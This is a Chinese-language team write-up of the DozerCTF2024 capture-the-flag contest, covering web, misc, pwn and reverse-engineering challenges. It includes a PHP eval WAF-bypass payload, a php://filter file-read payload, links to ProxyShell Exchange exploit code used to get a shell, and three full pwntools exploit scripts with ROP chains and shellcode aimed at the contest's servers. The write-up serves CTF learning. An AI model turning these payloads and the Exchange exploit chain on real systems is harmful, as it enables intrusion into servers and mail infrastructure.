DozerCTF2024

本文最后更新于 2024年9月21日 下午

前言:历时一天,最后拿到了团队第八,以下是团队的wp.

web and misc

easy_rce

先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);

# 简简单单签个到吧
function waf($poc)
{
$blacklist = "/[0-9]|get_defined_vars|include|readfile|crypt|require|file_get_contents|readgzfile|highlight_file|show|session|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i";
if(preg_match($blacklist, $poc)) {
echo "die!";
return "dieeeeeeee";
}
return $poc;
}

if(isset($_POST['cmd']))
{
$cmd = waf($_POST['cmd']);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $cmd)) {
eval($cmd);
}
}
?>

真狠啊,上面把能禁的都禁了,要不然还是挺简单了,想到之前ctfshow里面可以用scandir看看有什么的。尝试构造一下。

1
cmd=var_dump(scandir(current(localeconv())));

试了一下好像不能用./来找,说一下localeconv()

localeconv() 函数是一个编程语言函数,返回包含本地数字及货币信息格式的数组。这里可以通过这个函数读取当前目录下的文件名称。

rce

可以知道flag就应该在fllllaaag.php,尝试直接得,

1
Parse error: syntax error, unexpected '{' in /var/www/html/fllllaaag.php on line 3

哎被禁了。那想想其他方法吧。

还是队友思路好啊我就是大菜狗,再讲一个函数array_flip()

array_flip () 函数用来交换数组中元素的键和值。array_flip() 返回一个反转后的 array,例如 array 中的键名变成了值,而 array 中的值成了键名。

简单的说就是下标和内容颠倒,就这么理解。

array_rand()

在不改变数组的基础上,从数组中随机的选取一个或多个元素,比如我们在网页上随机显示不同的广告,或者推荐不同的文章等等

又因为include那些被禁了,(劳累.jpg,也是靠队友,用file就行了

1
cmd=var_dump(file(array_rand(array_flip(scandir(current(localeconv()))))));

rce1

very_long_access

下载下来简要看一下内容吧,问了一下gpt,回答如下:

这看起来像是一个网络服务器的日志条目。它包括了一个时间戳、用户代理字符串(表明是运行在 Windows 10 上的 Chrome 版本 108.0.0.0 浏览器),以及一个对资源”A”的GET请求,请求的数据大小为34760字节。有什么关于这个日志条目你想要了解或讨论的吗?

感觉和wireshark的题目有点像,和时间有关系,发现时间并不是按顺序写的,撸个脚本排一下序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 读取日志文件
with open("very_long_access.txt", "r") as file:
log_entries = file.readlines()

# 将日志条目解析为元组列表,每个元组包含时间戳和原始日志条目
parsed_entries = []
for entry in log_entries:
timestamp_string = entry.split(" - ")[0]
parsed_entry = (timestamp_string, entry)
parsed_entries.append(parsed_entry)

# 按时间先后顺序排序日志条目
sorted_entries = sorted(parsed_entries, key=lambda x: x[0])

# 写入排序后的日志条目到新文件中
with open("sorted_access_logs.txt", "w") as file:
for entry in sorted_entries:
file.write(entry[1])

print("日志条目已按时间先后顺序排列并保存到 sorted_access_logs.txt 文件中。")

排完看后面估计要把get/后面的提出来才能有些头绪,再撸个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 打开文件 very_long_access.txt 以读取模式
with open('sorted_access_logs.txt', 'r') as f:
# 创建一个空列表,用于存储每行的数据
lines = []
# 逐行读取文件内容
for line in f:
# 找到每行中 "GET /" 后面的内容,并添加到列表中
start_index = line.find("GET /") + 5
end_index = line.find(" ", start_index)
request = line[start_index:end_index]
lines.append(request)

# 将提取到的数据拼接成一行
get_requests = ''.join(lines)

# 将拼接后的数据写入到新的文件 get_requests.txt 中
with open('get_requests.txt', 'w') as f:
f.write(get_requests)

print("提取并写入完成!")

ctrl+f搜看看有没有惊喜,确实有

access

serialize

上面一个可以输入,下面一个好像偏rce,尝试输入了一会并没有得到答案。我试了一下robots.txt,出来了一个dozer_f1ag.php,直接开开不了,那就代码审计一下吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
if (strpos($file, 'function.php') === false) {
echo '去找fun吧!!!';
exit;
} else {
include($file);
}
?>

ini_set,规定了访问路径在这两个里面。

给file赋值

然后检查URL查询字符串($_GET)中是否设置了’function’参数。如果’function’参数已设置,则将其值赋给变量$func;否则,将字符串’filters’赋给$func。

call_user_func这个函数前阵子刚碰过,试过几次觉得应该是用extract解决。该函数用于将数组中的键名作为变量名,键值作为变量值,导入到当前符号表中。

strpos用于检测有没有,有才可以include,应该是用伪协议,覆盖

1
file=php://filter/convert.base64-encode/resource=dozer_f1ag.php

可是要有function.php,再改一下

1
file=php://filter/function.php/convert.base64-encode/resource=dozer_f1ag.php

最后构造payload

1
function=extract&file=php://filter/function.php/convert.base64-encode/resource=dozer_f1ag.php

解一下base64ser

上春山

二月天杨柳醉春烟..搞错了,看题目。

什么玩意,我自己整理了一下上春山

分析一下,一开始对暗号,然后聊天说东方有沉船搞个门路赚钱,最后flag应该和沉船有关系。说到这就应该好好拷打出题人了

官方给了提示不一定在国内,出名的奢侈的。

我们锁定范围(1911-1949年,出名,国外,奢侈,沉船)

这不就是出名的泰坦尼克号嘛,最后官方说的知道船可以问,直接给我一串汉字,我们谦虚一下,面向答案的wp写一下。

载柳度载汪分中中申申秒载爱度中申分载中句月秒

根据江湖黑话,上面的应该都是数字转化而来的,也就是当时沉船的经纬度转黑话,黑话再转MD5就行,最后就是flag.(好好拷打出题人)

se

wav的题目,一般都挺简单的吧

听一下类似电话拨号的声音,网上的网站一把梭

se

962764453,卡壳了不知道接下来怎么写,emmmmm

还好有万能的队友,用silenteye可以提出zip,再用这个密码就可以得到flag了。

shuiyin

嘿嘿,出题人总是不仔细啊,直接给flag也没下,那我接着面向答案的wp了。

按道理应该是最右边的图片,猜测是盲水印,拖到软件里面解一下就行了吧,然后可以得到flag,(估计本来就简单,上的太匆忙了)

问卷

正常答题就行,最后想抢手速也是于事无补。

以下部分由队友完成我只是负责拼装。

简单的域渗透III-flag1

发现被重定向

flag1

根据题目发现是exchange+office365

flag3

查阅文章记一次曲折的exchange漏洞利用-ProxyMaybeShell (qq.com)

proxyshell一梭拿到token

脚本代码:

https://github.com/dmaasland/proxyshell-poc

flag4

从github上撸到https://github.com/FDlucifer/Proxy-Attackchain/blob/12e3c7f8bcbf9dba3a3df1866070f72d6eda51b1/proxymaybeshell/ProxyMaybeShell-main/proxynotshellfileWrite.py#L3直接一把梭

flag5

flag6

拿到shell

群里桌面和vpn两hint,找到如下

flag7

tar解压取出password

flag8

flag9

flag{b5c1cd1c-45d8-4c5e-bf2e-d2b87419248f}

PWN

一个不对劲的溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p = remote('139.196.237.232',32916)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

payload = 'aa%37$pbb%36$pcc%35$p'
p.sendlineafter('username?\n',payload)
p.recvuntil('aa')
libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
p.recvuntil('bb')
pie = int(p.recv(14),16)-0x0000A20
print('pie-->'+hex(pie))
p.recvuntil('cc')
canary = int(p.recv(18),16)
print('canary-->'+hex(canary))
pop_rdi = 0x00a83+pie
system = libc_base+libc.symbols['system']
binsh = libc_base+0x001b3d88
ret = 0x000A84
main = pie+0x0007F0
og = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
og_yuan = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
shell = libc_base+og_yuan[0]
payload = b'a'*(0xd0-0x8)+p64(canary)+b'bbbbbbbb'
#payload+= p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
payload+= p64(shell)
p.send(payload)
p.sendline('exec 1>&0')
p.interactive()

mid_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*

p = remote('139.196.237.232',32972)
context(arch='amd64',os='linux',log_level='debug')

shellcode = '''
mov rdi, 0x67616c66
push rdi
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, SYS_openat
syscall
push 3
pop rdi
push 0x1
pop rdx
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
push SYS_readv
pop rax
syscall
push 1
pop rdi
push 0x1
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
'''
shellcode = b'a'*231+asm(shellcode)
p.sendlineafter(b'show me\n',shellcode)
p.recv()

ezpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from ctypes import *

p = remote('139.196.237.232',32944)
context(arch='amd64',log_level='debug')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
glibc = ELF('./libc.so.6')

seed = libc.time(0)
password = libc.rand(libc.srand(seed))
p.sendafter('account:','xiaochange')
p.sendlineafter('password:',str(password))
pop_rdi = 0x004014d3
payload = b'a'*0x30+b'bbbbbbbb'
payload+= p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
payload+= p64(0x000401423)
p.sendafter('something\n',payload)
p.recvuntil('bye~~\n')
libc_addr = u64(p.recv(6).ljust(8,b'\x00'))-glibc.symbols['puts']
og = [0xe3afe,0xe3b01,0xe3b04]
seed = libc.time(0)
password = libc.rand(libc.srand(seed))
shell = libc_addr+og[1]
p.sendafter('account:','xiaochange')
p.sendlineafter('password:',str(password))
payload = b'a'*0x30+b'bbbbbbbb'
payload+= p64(shell)
p.sendafter('something\n',payload)
p.interactive()

RE

pppyyy

将pyc反编译,解方程组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from z3 import *  

# 创建 14 个未知数
nums = [Real('nums%d' % i) for i in range(14)]

eqns = [
(((((nums[0] * 2 + nums[1] - 4 - nums[2] * 3 - nums[3] - 3) + nums[4] * 5 + nums[5] * 5 - nums[6] - 3) + nums[7] + 2 - nums[8]) + 3 + nums[9] - 3 - nums[10] * 4) + nums[11] * 3 - nums[12] - 2) + nums[13] + 3 == 56,
((((nums[0] + 2 - nums[1] * 5) + nums[2] - 3 - nums[3]) + 5 - nums[4] * 4 - nums[5]) + 5 + nums[6] * 4 + nums[7] * 5 + nums[8] * 3 + nums[9] * 5 - nums[10] - 5 - nums[11] - 2 - nums[12] - 5) + nums[13] - 3 == 681,
(((nums[0] * 5 + nums[1] * 3 - nums[2] - 2) + nums[3] * 4 + nums[4] - 3) + nums[5] * 4 + nums[6] * 4 + nums[7] + 3 - nums[8] * 2 - nums[9]) + 3 + nums[10] + 3 - nums[11] * 2 - nums[12] * 3 - nums[13] * 2 == 1129,
(((((nums[0] * 5 - nums[1] - 2) + nums[2] - 2) + nums[3] + 5 - nums[4]) + 3 + nums[5] * 2 + nums[6] + 2 - nums[7] * 4 - nums[8] - 2) + nums[9] + 5 + nums[10] + 4 - nums[11]) + 3 + nums[12] + 3 - nums[13] * 5 == 55,
((((nums[0] + 2 - nums[1] * 4 - nums[2] * 3) + nums[3] + 3 + nums[4] * 4 + nums[5] * 3 - nums[6]) + 5 + nums[7] - 2 - nums[8]) + 5 + nums[9] * 4 - nums[10] - 2 - nums[11] - 4) + nums[12] * 5 - nums[13] - 4 == 673,
(((((nums[0] - 5 - nums[1] - 4 - nums[2] - 4 - nums[3]) + 2 + nums[4] * 4 - nums[5]) + 4 + nums[6] + 3 + nums[7] + 5 - nums[8] * 5 - nums[9]) + 2 + nums[10] + 2 + nums[11] - 2) + nums[12] * 3 - nums[13]) + 4 == 249,
((((((nums[0] * 4 + nums[1] - 4) + nums[2] - 5) + nums[3] - 2 - nums[4] * 2) + nums[5] + 3 + nums[6] - 3 - nums[7]) + 3 - nums[8] * 4 - nums[9] * 3) + nums[10] * 2 + nums[11] * 5 + nums[12] - 4) + nums[13] - 4 == 422,
((((((nums[0] * 3 - nums[1] - 3 - nums[2] - 3) + nums[3] - 2 - nums[4] - 5) + nums[5] * 2 + nums[6] - 4) + nums[7] - 5) + nums[8] * 5 - nums[9] * 3 - nums[10]) + 5 - nums[11] - 4 - nums[12] * 5) + nums[13] - 4 == 49,
(((((((nums[0] - 4 - nums[1]) + 3 - nums[2]) + 4 - nums[3] - 4) + nums[4] + 5 - nums[5] * 3) + nums[6] + 2 + nums[7] * 4 - nums[8] - 4 - nums[9]) + 3 - nums[10] * 5) + nums[11] * 2 + nums[12] * 3 - nums[13]) + 2 == 0,
(((((((nums[0] - 5 - nums[1]) + 5 - nums[2] - 4) + nums[3] + 3 + nums[4] - 2) + nums[5] - 4) + nums[6] * 2 - nums[7] - 4 - nums[8] * 4) + nums[9] + 4 + nums[10] * 4 - nums[11]) + 5 - nums[12]) + 4 + nums[13] + 4 == 268,
((((((nums[0] - 5 - nums[1]) + 3 - nums[2]) + 2 + nums[3] - 4 - nums[4]) + 4 + nums[5] - 5 - nums[6]) + 2 + nums[7] - 4 - nums[8] - 5 - nums[9] - 5 - nums[10] - 2 - nums[11]) + 5 + nums[12] - 3) + nums[13] + 4 == -162,
((((((((nums[0] + 5 - nums[1]) + 4 + nums[2] * 5 - nums[3] - 3) + nums[4] - 5 - nums[5] - 5) + nums[6] + 3 - nums[7] * 5 - nums[8] * 3) + nums[9] - 4) + nums[10] - 2) + nums[11] - 3) + nums[12] - 5) + nums[13] + 2 == -2,
((((nums[0] + 4 + nums[1] - 5 - nums[2]) + 3 + nums[3] + 3 - nums[4] - 4 - nums[5]) + 3 + nums[6] - 3 - nums[7] - 5 - nums[8]) + 3 + nums[9] - 5 - nums[10] - 2) + nums[11] + 5 + nums[12] * 5 - nums[13] - 5 == 433,
(((((nums[0] + 4 + nums[1] + 4 + nums[2] + 3 - nums[3] - 2) + nums[4] - 4) + nums[5] + 3 - nums[6] - 4 - nums[7] * 2) + nums[8] - 3) + nums[9] + 2 + nums[10] * 3 - nums[11] * 4) + nums[12] + 5 + nums[13] * 3 == 515,
]

# 创建一个求解器对象
s = Solver()

# 将方程添加到求解器中
s.add(eqns)

# 检查是否有解
if s.check() == sat:
# 获取解
m = s.model()
# 打印解
for i in range(14):
print(f"nums{i} = {m[nums[i]]}")
else:
print("方程组无解")

for i in range(14):
print(chr(int(str(m[nums[i]]))),end='')

#B@by_5yth0n&z3
#Dozerctf{}

我是尊者

看到wp挺离谱,这么简单

尊者

Dozerctf{31de43b1a1fb565dabfa9ad8320f11de}


DozerCTF2024
https://0ran9ewww.github.io/2024/04/28/Dozerctf/Dozerctf2024/
作者
orange
发布于
2024年4月28日
许可协议